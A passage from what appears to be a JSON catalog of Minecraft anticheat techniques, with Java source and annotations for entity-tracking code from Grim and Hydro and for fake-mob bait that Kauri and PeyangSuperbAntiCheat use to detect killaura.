(!(hook instanceof PacketEntityHook hookEntity)) return;\n\n                if (hookEntity.attached == player.entityID) {\n                    player.sendTransaction();\n                    // We don't transaction sandwich this, it's too rare to be a real problem.\n                    player.latencyUtils.addRealTimeTask(player.lastTransactionSent.get(), () -> player.uncertaintyHandler.fishingRodPulls.add(hookEntity.owner));\n                }\n            }\n\n            if (status.getStatus() >= 24 && status.getStatus() <= 28 && status.getEntityId() == player.entityID) {\n                player.compensatedEntities.self.opLevel = status.getStatus() - 24;\n            }\n        } else if (event.getPacketType() == PacketType.Play.Server.SET_SLOT) {\n            WrapperPlayServerSetSlot slot = new WrapperPlayServerSetSlot(event);\n\n            if (slot.getWindowId() == 0) {\n                Runnable task = () -> {\n                    if (slot.getSlot() - 36 == player.packetStateData.lastSlotSelected && (\n                            !player.inventory.getHeldItem().is(slot.getItem().getType()) || player.getClientVersion().isOlderThanOrEquals(ClientVersion.V_1_8)\n                    ) || slot.getSlot() == 45 && !player.inventory.getOffHand().is(slot.getItem().getType())) {\n                        InteractionHand hand = slot.getSlot() == 45 ? InteractionHand.OFF_HAND : InteractionHand.MAIN_HAND;\n                        if (hand == player.packetStateData.itemInUseHand) {\n                            player.packetStateData.setSlowedByUsingItem(false);\n                        }\n\n                        if (player.isResetItemUsageOnItemUpdate() && hand == GrimAPI.INSTANCE.getItemResetHandler().getItemUsageHand(player.platformPlayer)) {\n                            GrimAPI.INSTANCE.getItemResetHandler().resetItemUsage(player.platformPlayer);\n                        }\n                    }\n                };\n\n                player.latencyUtils.addRealTimeTask(player.lastTransactionSent.get(), task);\n                player.latencyUtils.addRealTimeTask(player.lastTransactionSent.get() + 1, task);\n            }\n        } else if (event.getPacketType() == PacketType.Play.Server.WINDOW_ITEMS) {\n            WrapperPlayServerWindowItems items = new WrapperPlayServerWindowItems(event);\n\n            if (items.getWindowId() == 0) { // Player inventory\n                Runnable task = () -> {\n                    if (player.getClientVersion().isOlderThanOrEquals(ClientVersion.V_1_8)) {\n                        player.packetStateData.setSlowedByUsingItem(false);\n                        if (player.isResetItemUsageOnItemUpdate()) {\n                            GrimAPI.INSTANCE.getItemResetHandler().resetItemUsage(player.platformPlayer);\n                        }\n                    } else {\n                        if (items.getItems().size() > 45 && !player.inventory.getOffHand().is(items.getItems().get(45).getType())) {\n                            if (player.packetStateData.itemInUseHand == InteractionHand.OFF_HAND) {\n                                player.packetStateData.setSlowedByUsingItem(false);\n                            }\n\n                            if (player.isResetItemUsageOnItemUpdate() && GrimAPI.INSTANCE.getItemResetHandler().getItemUsageHand(player.platformPlayer) == InteractionHand.OFF_HAND) {\n                                GrimAPI.INSTANCE.getItemResetHandler().resetItemUsage(player.platformPlayer);\n                            }\n                        }\n\n                        if (!player.inventory.getHeldItem().is(items.getItems().get(player.packetStateData.lastSlotSelected + 36).getType())) {\n                            if (player.packetStateData.itemInUseHand == InteractionHand.MAIN_HAND) {\n                                player.packetStateData.setSlowedByUsingItem(false);\n                            }\n\n                            if (player.isResetItemUsageOnItemUpdate() && GrimAPI.INSTANCE.getItemResetHandler().getItemUsageHand(player.platformPlayer) == InteractionHand.MAIN_HAND) {\n                                GrimAPI.INSTANCE.getItemResetHandler().resetItemUsage(player.platformPlayer);\n                            }\n                        }\n                    }\n                };\n\n                player.latencyUtils.addRealTimeTask(player.lastTransactionSent.get(), task);\n                player.latencyUtils.addRealTimeTask(player.lastTransactionSent.get() + 1, task);\n            }\n        }\n\n        // 1.8 clients fail to send the RELEASE_USE_ITEM packet when a window is opened client sided while using an item\n        else if (event.getPacketType() == PacketType.Play.Server.OPEN_WINDOW) {\n            player.latencyUtils.addRealTimeTask(player.lastTransactionSent.get(), () -> player.packetStateData.setSlowedByUsingItem(false));\n            player.latencyUtils.addRealTimeTask(player.lastTransactionSent.get() + 1, () -> player.packetStateData.setSlowedByUsingItem(false));\n        } else if (event.getPacketType() == PacketType.Play.Server.OPEN_HORSE_WINDOW) {\n            player.latencyUtils.addRealTimeTask(player.lastTransactionSent.get(), () -> player.packetStateData.setSlowedByUsingItem(false));\n            player.latencyUtils.addRealTimeTask(player.lastTransactionSent.get() + 1, () -> player.packetStateData.setSlowedByUsingItem(false));\n        } else if (event.getPacketType() == PacketType.Play.Server.SET_PASSENGERS) {\n            WrapperPlayServerSetPassengers mount = new WrapperPlayServerSetPassengers(event);\n\n            int vehicleID = mount.getEntityId();\n            int[] passengers = mount.getPassengers();\n\n            handleMountVehicle(event, vehicleID, passengers);\n        } else if (event.getPacketType() == PacketType.Play.Server.ATTACH_ENTITY) {\n            WrapperPlayServerAttachEntity attach = new WrapperPlayServerAttachEntity(event);\n\n            // This packet was replaced by the mount packet on 1.9+ servers - to support multiple passengers on one vehicle\n            if (PacketEvents.getAPI().getServerManager().getVersion().isNewerThanOrEquals(ServerVersion.V_1_9))\n                return;\n\n            // If this is mounting rather than leashing\n            if (!attach.isLeash()) {\n                // Alright, let's convert this to the 1.9+ format to make it easier for grim\n                int vehicleID = attach.getHoldingId();\n                int attachID = attach.getAttachedId();\n                TrackerData trackerData = player.compensatedEntities.getTrackedEntity(attachID);\n\n                if (trackerData != null) {\n                    // 1.8 sends a vehicle ID of -1 to dismount the entity from its vehicle\n                    // This is opposite of the 1.9+ format, which sends the vehicle ID and then an empty array.\n                    if (vehicleID == -1) { // Dismounting\n                        vehicleID = trackerData.getLegacyPointEightMountedUpon();\n                        handleMountVehicle(event, vehicleID, new int[]{}); // The vehicle is empty\n                    } else { // Mounting\n                        trackerData.setLegacyPointEightMountedUpon(vehicleID);\n                        handleMountVehicle(event, vehicleID, new int[]{attachID});\n                    }\n                } else {\n                    // I don't think we can recover from this... warn and move on as this shouldn't happen.\n                    LogUtil.warn(\"Server sent an invalid attach entity packet for entity \" + attach.getHoldingId() + \" with passenger \" + attach.getAttachedId() + \"! The client ignores this.\");\n                }\n            }\n        } else if (event.getPacketType() == PacketType.Play.Server.DESTROY_ENTITIES) {\n            WrapperPlayServerDestroyEntities destroy = new WrapperPlayServerDestroyEntities(event);\n\n            int[] destroyEntityIds = destroy.getEntityIds();\n\n            for (int entityID : destroyEntityIds) {\n                despawnedEntitiesThisTransaction.add(entityID);\n                player.compensatedEntities.serverPositionsMap.remove(entityID);\n                // Remove the tracked vehicle (handling tracking knockback) if despawned\n                if (player.compensatedEntities.serverPlayerVehicle != null && player.compensatedEntities.serverPlayerVehicle == entityID) {\n                    player.compensatedEntities.serverPlayerVehicle = null;\n                }\n            }\n\n            final int destroyTransaction = player.lastTransactionSent.get() + 1;\n            player.latencyUtils.addRealTimeTask(destroyTransaction, () -> {\n                for (int entityId : destroyEntityIds) {\n                    player.compensatedEntities.removeEntity(entityId);\n                    player.dashableEntities.removeEntity(entityId);\n                    player.fireworks.removeFirework(entityId);\n                    player.compensatedEntities.entitiesRemovedThisTick.add(entityId);\n                }\n            });\n\n            // Don't let the player freeze transactions to keep the firework boost velocity + uncertainty\n            // Also generally prevents people with high ping gaining too high an advantage in firework use\n            if (maxFireworkBoostPing > 0) {\n                player.runNettyTaskInMs(() -> {\n                    if (player.lastTransactionReceived.get() >= destroyTransaction) return;\n                    for (int entityID : destroyEntityIds) {\n                        // If the player has a firework boosting them, setback\n                        if (player.fireworks.hasFirework(entityID)) {\n                            player.getSetbackTeleportUtil().executeViolationSetback();\n                            break;\n                        }\n                    }\n                }, maxFireworkBoostPing);\n            }\n        }\n    }\n\n    private void handleMountVehicle(PacketSendEvent event, int vehicleID, int[] passengers) {\n        boolean wasInVehicle = player.compensatedEntities.serverPlayerVehicle != null && player.compensatedEntities.serverPlayerVehicle == vehicleID;\n        boolean inThisVehicle = false;\n\n        for (int passenger : passengers) {\n            inThisVehicle = passenger == player.entityID;\n            if (inThisVehicle) break;\n        }\n\n        if (inThisVehicle && !wasInVehicle) {\n            player.handleMountVehicle(vehicleID);\n        }\n\n        if (!inThisVehicle && wasInVehicle) {\n            player.handleDismountVehicle(event);\n        }\n        // Better lag compensation if we were affected by this\n        if (wasInVehicle || inThisVehicle) {\n            player.sendTransaction();\n        }\n        player.latencyUtils.addRealTimeTask(player.lastTransactionSent.get(), () -> {\n            PacketEntity vehicle = player.compensatedEntities.getEntity(vehicleID);\n\n            // Vanilla likes sending null vehicles, so we must ignore those like the client ignores them\n            if (vehicle == null) return;\n\n            // Eject existing passengers for this vehicle\n            for (PacketEntity passenger : new ArrayList<>(vehicle.passengers)) {\n                passenger.eject();\n            }\n\n            // Add the entities as vehicles\n            for (int entityID : passengers) {\n                PacketEntity passenger = player.compensatedEntities.getEntity(entityID);\n                if (passenger == null) continue;\n                passenger.mount(vehicle);\n            }\n        });\n    }\n\n    private void handleMoveEntity(PacketSendEvent event, int entityId, double deltaX, double deltaY, double deltaZ, Float yaw, Float pitch, boolean isRelative, boolean hasPos) {\n        TrackerData data = player.compensatedEntities.getTrackedEntity(entityId);\n\n        final boolean didNotSendPreWave = hasSentPreWavePacket.compareAndSet(false, true);\n        if (didNotSendPreWave) player.sendTransaction();\n\n        if (data != null) {\n            // Update the tracked server's entity position\n            if (isRelative) {\n                // There is a bug where vehicles may start flying due to mojang setting packet position on the client\n                // (Works at 0 ping but causes funny bugs at any higher ping)\n                // As we don't want vehicles to fly, we need to replace it with a teleport if it is player vehicle\n                //\n                // Don't bother with client controlled vehicles though\n                boolean vanillaVehicleFlight = player.compensatedEntities.serverPlayerVehicle != null\n                        && player.compensatedEntities.serverPlayerVehicle == entityId\n                        && player.getClientVersion().isNewerThanOrEquals(ClientVersion.V_1_9)\n                        // TODO: https://discord.com/channels/721686193061888071/721686193515003966/1310659538831020123\n                        // Why does the server now send an entity rel move packet matching the player's vehicle movement every time?\n                        && PacketEvents.getAPI().getServerManager().getVersion().isOlderThan(ServerVersion.V_1_21_2)\n                        && PacketEvents.getAPI().getServerManager().getVersion().isNewerThanOrEquals(ServerVersion.V_1_9);\n\n                // ViaVersion sends two relative packets when moving more than 4 blocks\n                // This is broken and causes the client to interpolate like (0, 4) and (1, 3) instead of (1, 7)\n                // This causes impossible hits, so grim must replace this with a teleport entity packet\n                // Not ideal, but neither is 1.8 players on a 1.9+ server.\n                if (vanillaVehicleFlight ||\n                        ((Math.abs(deltaX) >= 3.9375 || Math.abs(deltaY) >= 3.9375 || Math.abs(deltaZ) >= 3.9375) && player.getClientVersion().isOlderThan(ClientVersion.V_1_9) && PacketEvents.getAPI().getServerManager().getVersion().isNewerThanOrEquals(ServerVersion.V_1_9))) {\n                    player.user.writePacket(new WrapperPlayServerEntityTeleport(entityId, new Vector3d(data.getX() + deltaX, data.getY() + deltaY, data.getZ() + deltaZ), yaw == null ? data.getXRot() : yaw, pitch == null ? data.getYRot() : pitch, false));\n                    event.setCancelled(true);\n                    return;\n                }\n\n                data.setX(data.getX() + deltaX);\n                data.setY(data.getY() + deltaY);\n                data.setZ(data.getZ() + deltaZ);\n            } else {\n                data.setX(deltaX);\n                data.setY(deltaY);\n                data.setZ(deltaZ);\n            }\n            if (yaw != null) {\n                data.setXRot(yaw);\n                data.setYRot(pitch);\n            }\n\n            // We can't hang two relative moves on one transaction\n            if (data.getLastTransactionHung() == player.lastTransactionSent.get()) {\n                player.sendTransaction();\n            }\n            data.setLastTransactionHung(player.lastTransactionSent.get());\n        }\n\n        int lastTrans = player.lastTransactionSent.get();\n\n        player.latencyUtils.addRealTimeTask(lastTrans, () -> {\n            PacketEntity entity = player.compensatedEntities.getEntity(entityId);\n            if (entity == null) return;\n            if (entity instanceof PacketEntityTrackXRot xRotEntity && yaw != null) {\n                xRotEntity.packetYaw = yaw;\n                xRotEntity.steps = entity.isBoat ? 10 : 3;\n            }\n\n            entity.onFirstTransaction(isRelative, hasPos, deltaX, deltaY, deltaZ, player);\n        });\n\n        player.latencyUtils.addRealTimeTask(lastTrans + 1, () -> {\n            PacketEntity entity = player.compensatedEntities.getEntity(entityId);\n            if (entity == null) return;\n            entity.onSecondTransaction();\n        });\n    }\n\n    public void addEntity(int entityID, UUID uuid, EntityType type, Vector3d position, float xRot, float yRot, List<EntityData<?>> entityMetadata, int extraData) {\n        if (despawnedEntitiesThisTransaction.contains(entityID)) {\n            player.sendTransaction();\n        }\n\n        player.compensatedEntities.serverPositionsMap.put(entityID, new TrackerData(position.getX(), position.getY(), position.getZ(), xRot, yRot, type, player.lastTransactionSent.get()));\n\n        player.latencyUtils.addRealTimeTask(player.lastTransactionSent.get(), () -> {\n            PacketEntity entity = player.compensatedEntities.addEntity(entityID, uuid, type, position, xRot, extraData);\n            if (entity instanceof DashableEntity dashable) {\n                player.dashableEntities.addEntity(entityID, dashable);\n            }\n\n            if (entityMetadata != null) {\n                if (EntityMetadataPoseUtil.usesPoseMetadata(entity) && player.getClientVersion().isNewerThanOrEquals(ClientVersion.V_1_14)) {\n                    Pose initialPose = EntityMetadataPoseUtil.getPoseFromMetadata(entityMetadata);\n                    if (initialPose != null) {\n                        entity.currentPose = initialPose;\n                    }\n                }\n\n                player.compensatedEntities.updateEntityMetadata(entityID, entityMetadata);\n            }\n        });\n    }\n\n    private void schedulePoseTransition(WrapperPlayServerEntityMetadata entityMetadata, PacketSendEvent event) {\n        if (player.getClientVersion().isOlderThan(ClientVersion.V_1_14)) return;\n\n        int entityId = entityMetadata.getEntityId();\n        if (entityId == player.entityID) return;\n\n        Pose newPose = EntityMetadataPoseUtil.getPoseFromMetadata(entityMetadata.getEntityMetadata());\n        if (newPose == null) return;\n\n        boolean shouldTrackPoseTransition = false;\n        PacketEntity entity = player.compensatedEntities.getEntity(entityId);\n        if (entity != null) {\n            shouldTrackPoseTransition = EntityMetadataPoseUtil.usesPoseMetadata(entity);\n        } else {\n            // If the client didn't respond to the spawn packet yet, we need to check if we should track the pose transition based on the entity type\n            // is there a better way to do this?\n            TrackerData trackedEntity = player.compensatedEntities.getTrackedEntity(entityId);\n            if (trackedEntity != null) {\n                shouldTrackPoseTransition = EntityMetadataPoseUtil.usesPoseMetadata(trackedEntity.getEntityType());\n            }\n        }\n\n        if (!shouldTrackPoseTransition) return;\n\n        player.sendTransaction();\n        player.latencyUtils.addRealTimeTask(player.lastTransactionSent.get(), () -> {\n            PacketEntity target = player.compensatedEntities.getEntity(entityId);\n            if (target == null) {\n                return;\n            }\n\n            target.beginPoseTransition(newPose);\n        });\n\n        event.getTasksAfterSend().add(() -> {\n            player.sendTransaction();\n            player.latencyUtils.addRealTimeTask(player.lastTransactionSent.get(), () -> {\n                PacketEntity target = player.compensatedEntities.getEntity(entityId);\n                if (target == null) {\n                    return;\n                }\n\n                target.completePoseTransition(newPose);\n            });\n        });\n    }\n\n    private boolean isDirectlyAffectingPlayer(GrimPlayer player, int entityID) {\n        // The attributes for this entity is active, currently\n        return (player.compensatedEntities.serverPlayerVehicle == null && entityID == player.entityID) ||\n                (player.compensatedEntities.serverPlayerVehicle != null && entityID == player.compensatedEntities.serverPlayerVehicle);\n    }\n\n    public void onEndOfTickEvent(boolean async, boolean flush) {\n        // Only send a transaction at the end of the tick if we are tracking players\n        player.sendTransaction(async);\n        if (flush) player.user.flushPackets();\n    }\n\n    public void tickStartTick() {\n        hasSentPreWavePacket.set(false);\n    }\n\n    @Override\n    public void onReload(@NotNull ConfigManager config) {\n        maxFireworkBoostPing = config.getIntElse(\"max-ping-firework-boost\", 1000);\n    }\n\n}\n// NOTE (AI): The S0E branch is the SPAWN_ENTITY case at line 126; the same handler covers the whole spawn family so one code path feeds the compensated entity list.",
       "code_source": "GrimAnticheat-Grim, common/src/main/java/ac/grim/grimac/events/packets/PacketEntityReplication.java",
       "variations": "Hydro EntityTracker and Tecnio-AntiHaxerman EntityTracker maintain the same replicated list with transaction-confirmed movement; Artemis replicates entities in its v1/v2 emulators; Intave keeps a dedicated EntityTracker fed by spawn events; Kauri tracks real spawns in PacketHandler and pairs them with FakeMob bait."
      },
      {
       "name": "EntityTracker (Hydro)",
       "found_in": [
        "Incognitolol-Hydro"
       ],
       "purpose": "Keep a transaction-synced map of every spawned entity so reach and aura checks can query positions and distances.",
       "how_it_works": "The outgoing pre-handler processes the spawn family (living entities and players) plus relative moves, teleports and destroys; entity positions are only mutated inside transaction-confirmed tasks, and post-transaction updates refresh the list. Exposes distance, closest-entity and within-distance queries used by the combat checks.",
       "detects": "Supplies the target positions for Hydro's hitbox and reach checks; a client that fakes entity state cannot alter the server-derived list.",
       "detailed_code": "// ===== FILE: Incognitolol-Hydro, src/main/java/integral/studios/hydro/model/tracker/impl/EntityTracker.java =====\npackage integral.studios.hydro.model.tracker.impl;\n\nimport com.github.retrooper.packetevents.event.PacketReceiveEvent;\nimport com.github.retrooper.packetevents.event.PacketSendEvent;\nimport com.github.retrooper.packetevents.protocol.packettype.PacketType;\nimport com.github.retrooper.packetevents.util.Vector3d;\nimport com.github.retrooper.packetevents.wrapper.play.server.*;\nimport integral.studios.hydro.model.PlayerData;\nimport integral.studios.hydro.model.tracker.Tracker;\nimport integral.studios.hydro.util.player.tracker.entity.TrackedEntity;\nimport integral.studios.hydro.util.packet.PacketUtil;\nimport lombok.Getter;\n\nimport java.util.Map;\nimport java.util.concurrent.ConcurrentHashMap;\n\n\n@Getter\npublic class EntityTracker extends Tracker {\n    // Thread-safe entity storage\n    private final Map<Integer, TrackedEntity> entityMap = new ConcurrentHashMap<>();\n\n    public EntityTracker(PlayerData playerData) {\n        super(playerData);\n    }\n\n    @Override\n    public void registerOutgoingPreHandler(PacketSendEvent event) {\n        if (event.getPacketType() == PacketType.Play.Server.SPAWN_LIVING_ENTITY) {\n            handleSpawnLivingEntity(event);\n        } else if (event.getPacketType() == PacketType.Play.Server.SPAWN_PLAYER) {\n            handleSpawnPlayer(event);\n        } else if (event.getPacketType() == PacketType.Play.Server.ENTITY_RELATIVE_MOVE) {\n            handleEntityRelativeMove(event);\n        } else if (event.getPacketType() == PacketType.Play.Server.ENTITY_RELATIVE_MOVE_AND_ROTATION) {\n            handleEntityRelativeMoveAndRotation(event);\n        } else if (event.getPacketType() == PacketType.Play.Server.ENTITY_TELEPORT) {\n            handleEntityTeleport(event);\n        } else if (event.getPacketType() == PacketType.Play.Server.DESTROY_ENTITIES) {\n            handleDestroyEntities(event);\n        }\n    }\n\n    @Override\n    public void registerIncomingPostHandler(PacketReceiveEvent event) {\n        if (PacketUtil.isFlying(event.getPacketType())) {\n            handleFlyingPacket();\n        }\n    }\n\n    private void handleSpawnLivingEntity(PacketSendEvent event) {\n        WrapperPlayServerSpawnLivingEntity wrapper = new WrapperPlayServerSpawnLivingEntity(event);\n        Vector3d position = wrapper.getPosition();\n        int entityId = wrapper.getEntityId();\n\n        TrackedEntity entity = new TrackedEntity(entityId, position.x, position.y, position.z);\n        entityMap.put(entityId, entity);\n    }\n\n    private void handleSpawnPlayer(PacketSendEvent event) {\n        WrapperPlayServerSpawnPlayer wrapper = new WrapperPlayServerSpawnPlayer(event);\n        Vector3d position = wrapper.getPosition();\n        int entityId = wrapper.getEntityId();\n\n        TrackedEntity entity = new TrackedEntity(entityId, position.x, position.y, position.z);\n        entityMap.put(entityId, entity);\n    }\n\n    private void handleEntityRelativeMove(PacketSendEvent event) {\n        WrapperPlayServerEntityRelativeMove wrapper = new WrapperPlayServerEntityRelativeMove(event);\n\n        TrackedEntity entity = entityMap.get(wrapper.getEntityId());\n        if (entity == null) {\n            return;\n        }\n\n        playerData.getTransactionTracker().confirmPre(() -> {\n            entity.handleMovement(wrapper.getDeltaX(), wrapper.getDeltaY(), wrapper.getDeltaZ());\n        });\n\n        playerData.getTransactionTracker().confirmPost(this::updateAllEntitiesPostTransaction);\n    }\n\n    private void handleEntityRelativeMoveAndRotation(PacketSendEvent event) {\n        WrapperPlayServerEntityRelativeMoveAndRotation wrapper = new WrapperPlayServerEntityRelativeMoveAndRotation(event);\n\n        TrackedEntity entity = entityMap.get(wrapper.getEntityId());\n        if (entity == null) {\n            return;\n        }\n\n        playerData.getTransactionTracker().confirmPre(() -> {\n            entity.handleMovement(wrapper.getDeltaX(), wrapper.getDeltaY(), wrapper.getDeltaZ());\n        });\n\n        playerData.getTransactionTracker().confirmPost(this::updateAllEntitiesPostTransaction);\n    }\n\n    private void handleEntityTeleport(PacketSendEvent event) {\n        WrapperPlayServerEntityTeleport wrapper = new WrapperPlayServerEntityTeleport(event);\n\n        TrackedEntity entity = entityMap.get(wrapper.getEntityId());\n        if (entity == null) {\n            return;\n        }\n\n        Vector3d position = wrapper.getPosition();\n\n        playerData.getTransactionTracker().confirmPre(() -> {\n            entity.handleTeleport(position.x, position.y, position.z);\n        });\n\n        playerData.getTransactionTracker().confirmPost(this::updateAllEntitiesPostTransaction);\n    }\n\n    private void handleDestroyEntities(PacketSendEvent event) {\n        WrapperPlayServerDestroyEntities wrapper = new WrapperPlayServerDestroyEntities(event);\n\n        for (int entityId : wrapper.getEntityIds()) {\n            entityMap.remove(entityId);\n        }\n    }\n\n    private void handleFlyingPacket() {\n        entityMap.values().forEach(TrackedEntity::handlePostFlying);\n    }\n\n    private void updateAllEntitiesPostTransaction() {\n        entityMap.values().forEach(TrackedEntity::handlePostTransaction);\n    }\n\n    public TrackedEntity get(int entityId) {\n        return entityMap.get(entityId);\n    }\n\n    public boolean isTracking(int entityId) {\n        return entityMap.containsKey(entityId);\n    }\n\n    public int getTrackedEntityCount() {\n        return entityMap.size();\n    }\n\n\n    public TrackedEntity removeEntity(int entityId) {\n        return entityMap.remove(entityId);\n    }\n\n\n    public void clearEntities() {\n        entityMap.clear();\n    }\n\n\n    public double getDistanceToEntity(int entityId) {\n        TrackedEntity entity = entityMap.get(entityId);\n        if (entity == null) {\n            return -1;\n        }\n\n        double dx = entity.getX() - playerData.getPositionTracker().getX();\n        double dy = entity.getY() - playerData.getPositionTracker().getY();\n        double dz = entity.getZ() - playerData.getPositionTracker().getZ();\n\n        return Math.sqrt(dx * dx + dy * dy + dz * dz);\n    }\n\n    public TrackedEntity getClosestEntity() {\n        TrackedEntity closest = null;\n        double minDistance = Double.MAX_VALUE;\n\n        for (Map.Entry<Integer, TrackedEntity> entry : entityMap.entrySet()) {\n            TrackedEntity entity = entry.getValue();\n            double distance = getDistanceToEntity(entry.getKey());\n\n            if (distance >= 0 && distance < minDistance) {\n                minDistance = distance;\n                closest = entity;\n            }\n        }\n\n        return closest;\n    }\n\n\n    public Map<Integer, TrackedEntity> getEntitiesWithinDistance(double maxDistance) {\n        Map<Integer, TrackedEntity> nearbyEntities = new ConcurrentHashMap<>();\n\n        for (Map.Entry<Integer, TrackedEntity> entry : entityMap.entrySet()) {\n            double distance = getDistanceToEntity(entry.getKey());\n            if (distance >= 0 && distance <= maxDistance) {\n                nearbyEntities.put(entry.getKey(), entry.getValue());\n            }\n        }\n\n        return nearbyEntities;\n    }\n\n    public int getEntityId(TrackedEntity entity) {\n        if (entity == null) return -1;\n\n        for (Map.Entry<Integer, TrackedEntity> entry : entityMap.entrySet()) {\n            if (entry.getValue() == entity) {\n                return entry.getKey();\n            }\n        }\n\n        return -1;\n    }\n}\n// NOTE (AI): The tracker keys off the spawn family that the corpus greps for S0E; living and player spawns register positions, and all movement is transaction-confirmed.",
       "code_source": "Incognitolol-Hydro, src/main/java/integral/studios/hydro/model/tracker/impl/EntityTracker.java",
       "variations": "Grim PacketEntityReplication and Tecnio-AntiHaxerman EntityTracker are the same idea on different packet abstractions; FlopAC's reach processor consumes WrappedOutSpawnEntityPacket for its own entity list."
      },
      {
       "name": "FakeMob bait (Kauri)",
       "found_in": [
        "funkemunky-KauriV3"
       ],
       "purpose": "Spawn invisible fake entities whose ids are registered with the tracker, baiting killaura into attacking something that does not exist on the server.",
       "how_it_works": "FakeMob allocates an entity id in the 1.5-2 billion range to avoid colliding with real ids, then sends a spawn packet with the invisible metadata flag to the suspect; the fake is registered in the FakeTracker and can be moved, teleported and despawned. Kauri's PacketHandler separately consumes the real spawn family (SPAWN_ENTITY, SPAWN_LIVING_ENTITY, SPAWN_PLAYER, SPAWN_PAINTING) to keep its entity list current. An aura that turns toward or attacks the fake produces hits against an entity the server never spawned.",
       "detects": "Killaura that targets any visible entity regardless of legitimacy.",
       "detailed_code": "// ===== FILE: funkemunky-KauriV3, Anticheat/src/main/java/dev/brighten/ac/handler/entity/FakeMob.java =====\npackage dev.brighten.ac.handler.entity;\n\nimport com.github.retrooper.packetevents.protocol.entity.data.EntityData;\nimport com.github.retrooper.packetevents.protocol.entity.data.EntityDataTypes;\nimport com.github.retrooper.packetevents.protocol.entity.type.EntityType;\nimport com.github.retrooper.packetevents.util.Vector3d;\nimport com.github.retrooper.packetevents.wrapper.play.server.WrapperPlayServerDestroyEntities;\nimport com.github.retrooper.packetevents.wrapper.play.server.WrapperPlayServerEntityMetadata;\nimport com.github.retrooper.packetevents.wrapper.play.server.WrapperPlayServerEntityTeleport;\nimport com.github.retrooper.packetevents.wrapper.play.server.WrapperPlayServerSpawnLivingEntity;\nimport dev.brighten.ac.Anticheat;\nimport dev.brighten.ac.data.APlayer;\nimport dev.brighten.ac.packet.WPacketPlayOutEntity;\nimport dev.brighten.ac.utils.KLocation;\nimport lombok.Getter;\n\nimport java.util.ArrayList;\nimport java.util.Collections;\nimport java.util.List;\nimport java.util.UUID;\nimport java.util.concurrent.ThreadLocalRandom;\n\n@Getter\npublic class FakeMob {\n    private final int entityId;\n    private final EntityType type;\n\n    private List<APlayer> watching = Collections.emptyList();\n\n    public FakeMob(EntityType type) {\n        // Use a very high ID range to avoid colliding with real server entity IDs.\n        // Real entity IDs start at 1 and increment; on a long-running server they can\n        // easily exceed 15 000, making the old [15000, 20000) range unsafe.\n        entityId = ThreadLocalRandom.current().nextInt(1_500_000_000, 2_000_000_000);\n        this.type = type;\n    }\n\n    public void spawn(boolean invisible, KLocation location, List<EntityData<?>> objects, APlayer... players) {\n        if(!watching.isEmpty()) {\n            despawn();\n        }\n\n        watching = new ArrayList<>();\n        for (APlayer player : players) {\n            if(invisible) {\n                EntityData<?> entityData = new EntityData<>(0, EntityDataTypes.BYTE, (byte) 0x20);\n\n                objects.add(entityData);\n            }\n            WrapperPlayServerSpawnLivingEntity packet = new WrapperPlayServerSpawnLivingEntity(entityId, UUID.randomUUID(), type,\n                    new Vector3d(location.getX(), location.getY(), location.getZ()), location.getYaw(), location.getPitch(), location.getYaw(),\n                    new Vector3d(0, 0, 0), objects);\n\n            player.sendPacket(packet);\n            watching.add(player);\n        }\n\n        Anticheat.INSTANCE.getFakeTracker().trackEntity(this);\n    }\n\n    public void setInvisible(boolean invisible) {\n        List<EntityData<?>> entityMetadata = new ArrayList<>();\n\n        if(invisible) {\n            EntityData<?> entityData = new EntityData<>(0, EntityDataTypes.BYTE, (byte) 0x20);\n\n            entityMetadata.add(entityData);\n        } else {\n            EntityData<?> entityData = new EntityData<>(0, EntityDataTypes.BYTE, (byte) ~0x20);\n\n            entityMetadata.add(entityData);\n        }\n\n        WrapperPlayServerEntityMetadata packet = new WrapperPlayServerEntityMetadata(entityId, entityMetadata);\n\n        watching.forEach(player -> player.sendPacket(packet));\n    }\n\n    public void despawn() {\n        for (APlayer aPlayer : watching) {\n            Anticheat.INSTANCE.getLogger().info(\"Despawning fake entity with ID: \" + entityId);\n            aPlayer.sendPacket(new WrapperPlayServerDestroyEntities(entityId));\n        }\n        watching = Collections.emptyList();\n\n        Anticheat.INSTANCE.getFakeTracker().untrackEntity(this);\n    }\n\n    public void move(double dx, double dy, double dz) {\n        WPacketPlayOutEntity packet = WPacketPlayOutEntity.builder().id(entityId).x(dx).y(dy).z(dz).moved(true).build();\n\n        for (APlayer player : watching) {\n            player.sendPacket(packet.getPacket());\n        }\n    }\n\n    public void move(double dx, double dy, double dz, float dyaw, float dpitch) {\n        WPacketPlayOutEntity packet = WPacketPlayOutEntity.builder().id(entityId).x(dx).y(dy).z(dz).yaw(dyaw)\n                .pitch(dpitch).moved(true).looked(true).build();\n\n        for (APlayer player : watching) {\n            player.sendPacket(packet.getPacket());\n        }\n    }\n\n    public void move(float dyaw, float dpitch) {\n        WPacketPlayOutEntity packet = WPacketPlayOutEntity.builder().id(entityId).yaw(dyaw).pitch(dpitch)\n                .looked(true).build();\n\n        for (APlayer player : watching) {\n            player.sendPacket(packet.getPacket());\n        }\n    }\n\n    public void teleport(double x, double y, double z, float yaw, float pitch) {\n        WrapperPlayServerEntityTeleport packet = new WrapperPlayServerEntityTeleport(entityId,\n                new Vector3d(x, y, z), yaw, pitch, false);\n\n        for (APlayer player : watching) {\n            player.sendPacket(packet);\n        }\n    }\n}\n// NOTE (AI): This file is the bait side; the spawn-consumption side that the S0E corpus greps lives in PacketHandler, which registers every real spawn including SPAWN_ENTITY.",
       "code_source": "funkemunky-KauriV3, Anticheat/src/main/java/dev/brighten/ac/handler/entity/FakeMob.java",
       "variations": "PeyangSuperbAntiCheat NPC.java does the same with a fake player placed 3 blocks in front of the suspect; CheaterDeleter PhaseBypassTracker watches spawn and teleport events to detect phase attempts around spawn; Shard's ViewTrackingObserver monitors which entities the client renders."
      },
      {
       "name": "NPC bait (PeyangSuperbAntiCheat)",
       "found_in": [
        "P2P-Develop-PeyangSuperbAntiCheat"
       ],
       "purpose": "Spawn a fake player three blocks in front of the suspect and flag aura that hits it.",
       "how_it_works": "spawn() builds an EntityPlayer NPC, positions it facing the suspect at 3 blocks distance, sends player-info and named-entity-spawn packets to the suspect and to staff, then hides the NPC from the suspect via Bukkit hidePlayer so only the aura's entity list sees it. The NPC is destroyed after a configured number of seconds; the teleport handler moves it around the player to catch aura that tracks it.",
       "detects": "Killaura and hitboxes that attack an entity the real client cannot see.",
